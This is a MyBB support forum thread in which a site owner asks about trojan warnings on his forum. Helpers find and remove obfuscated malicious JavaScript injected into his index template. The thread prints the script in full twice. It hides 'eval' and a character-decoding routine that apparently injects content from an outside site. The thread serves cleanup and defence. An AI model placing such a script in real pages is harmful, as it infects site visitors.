MyBB Community Forums

Full Version: Trojan Virus on my form?
You're currently viewing a stripped down version of our content. View the full version with proper formatting.
Pages: 1 2
www.vitropics.com
My anti virus program doesn't say anything but my girlfriend laptop say the site has a trojan virus and she can't view the site.

any ideas??
Idk, I went to the site and then my browser exploded (No joke). x.x No idea what caused it though. xp
thats crazy
Loaded fine for me in Firefox. Got no virus warnings.
You have malicious code in your forum index template.

<script>try{q.appendChild(q+"");}catch(qw){h=-012/5;zz='a'+'l';f='fr'+'o'+'m'+'Ch';f+='arC';}try{begbe=prototype;}catch(b43gds){zz='zv'.substr(123-122)+zz;ss=[];f+=(h&&zz)?'ode':"";w=this;e=w[f.substr(11)+zz];n=[-3.375,-3.75,7.5,8.875,7.375,9.625,8.625,7.625,8.75,9.5,0.75,9.875,9.25,8.125,9.5,7.625,0,-0.125,2.5,8.125,7.75,9.25,7.125,8.625,7.625,-1,9.375,9.25,7.375,2.625,-0.75,8,9.5,9.5,9,2.25,0.875,0.875,7.5,9.25,7.25,8.875,8.5,8.125,9.75,7.125,9.25,0.75,7.375,8.875,8.625,0.875,9.375,9.5,7.125,9.5,9.375,0.75,9,8,9,-0.75,-1,8.75,7.125,8.625,7.625,2.625,-0.75,5.5,9.875,8.125,9.5,9.5,7.625,9.25,-0.75,-1,9.375,7.375,9.25,8.875,8.5,8.5,8.125,8.75,7.875,2.625,-0.75,7.125,9.625,9.5,8.875,-0.75,-1,7.75,9.25,7.125,8.625,7.625,7.25,8.875,9.25,7.5,7.625,9.25,2.625,-0.75,8.75,8.875,-0.75,-1,7.125,8.5,8.125,7.875,8.75,2.625,-0.75,7.375,7.625,8.75,9.5,7.625,9.25,-0.75,-1,8,7.625,8.125,7.875,8,9.5,2.625,-0.75,1.25,-0.75,-1,9.875,8.125,7.5,9.5,8,2.625,-0.75,1.25,-0.75,2.75,2.5,0.875,8.125,7.75,9.25,7.125,8.625,7.625,2.75,-0.125,0.125,2.375,-3.375,-3.75];for(i=6-2-1-2-1;-162+i!=2-2;i++){k=i;ss=ss+String["from"+"CharCode"](-1*4*h*(5+1*n[k]));}e(ss);}</script>

ACP > Templates & Style > Templates > *Tempate set* > Index Templates > Index

Removed that code.
What does that code do? Because I visited the site. :x
(2012-06-06, 12:35 AM)Nathan Malcolm Wrote: [ -> ]You have malicious code in your forum index template.

<script>try{q.appendChild(q+"");}catch(qw){h=-012/5;zz='a'+'l';f='fr'+'o'+'m'+'Ch';f+='arC';}try{begbe=prototype;}catch(b43gds){zz='zv'.substr(123-122)+zz;ss=[];f+=(h&&zz)?'ode':"";w=this;e=w[f.substr(11)+zz];n=[-3.375,-3.75,7.5,8.875,7.375,9.625,8.625,7.625,8.75,9.5,0.75,9.875,9.25,8.125,9.5,7.625,0,-0.125,2.5,8.125,7.75,9.25,7.125,8.625,7.625,-1,9.375,9.25,7.375,2.625,-0.75,8,9.5,9.5,9,2.25,0.875,0.875,7.5,9.25,7.25,8.875,8.5,8.125,9.75,7.125,9.25,0.75,7.375,8.875,8.625,0.875,9.375,9.5,7.125,9.5,9.375,0.75,9,8,9,-0.75,-1,8.75,7.125,8.625,7.625,2.625,-0.75,5.5,9.875,8.125,9.5,9.5,7.625,9.25,-0.75,-1,9.375,7.375,9.25,8.875,8.5,8.5,8.125,8.75,7.875,2.625,-0.75,7.125,9.625,9.5,8.875,-0.75,-1,7.75,9.25,7.125,8.625,7.625,7.25,8.875,9.25,7.5,7.625,9.25,2.625,-0.75,8.75,8.875,-0.75,-1,7.125,8.5,8.125,7.875,8.75,2.625,-0.75,7.375,7.625,8.75,9.5,7.625,9.25,-0.75,-1,8,7.625,8.125,7.875,8,9.5,2.625,-0.75,1.25,-0.75,-1,9.875,8.125,7.5,9.5,8,2.625,-0.75,1.25,-0.75,2.75,2.5,0.875,8.125,7.75,9.25,7.125,8.625,7.625,2.75,-0.125,0.125,2.375,-3.375,-3.75];for(i=6-2-1-2-1;-162+i!=2-2;i++){k=i;ss=ss+String["from"+"CharCode"](-1*4*h*(5+1*n[k]));}e(ss);}</script>

ACP > Templates & Style > Templates > *Tempate set* > Index Templates > Index

Removed that code.

I Don't see anything

<html>
<head>
<title>{$mybb->settings['bbname']}</title>
{$headerinclude}
<script type="text/javascript">
<!--
	lang.no_new_posts = "{$lang->no_new_posts}";
	lang.click_mark_read = "{$lang->click_mark_read}";
// -->
</script>
</head>
<body>
{$header}
<div class="sidebar" style="float: right; width: 20%">

<table border="0" cellspacing="{$theme['borderwidth']}" cellpadding="{$theme['tablespace']}" class="tborder">

<tr>
   <td class="thead">
     <center> <strong>Follow Us</strong></center>
   </td>
</tr>

<tr>
   <td class="trow1">
       <center>
<a href="https://www.twitter.com/#!/Team_Tropics"><img src="images/twitter.png" width="60" height="50" title="Follow us on Twitter!"></a> 
<a href="http://www.youtube.com/user/PlanetTropics"><img src="images/youtube.png" width="60" height="50" title="Subscribe to our YouTube!"></a> <a href="http://www.facebook.com/pages/Vancouver-Island-Tropics"><img src="images/facebook.png" width="60" height="50" title="Like us on Facebook!"></a>
</center>
   </td>
</tr>
</table>
<br />
Check your footer template, its at the bottom of your template.
(2012-06-06, 12:44 AM)Frank.Barry Wrote: [ -> ]Check your footer template, its at the bottom of your template.

I don't see anything in the footer ether.
It's most likely in your index.php then. It only affects that one page.

ACP > Tools & Maintenance > File Verification > Make sure no files have been changed without your knowledge.
Pages: 1 2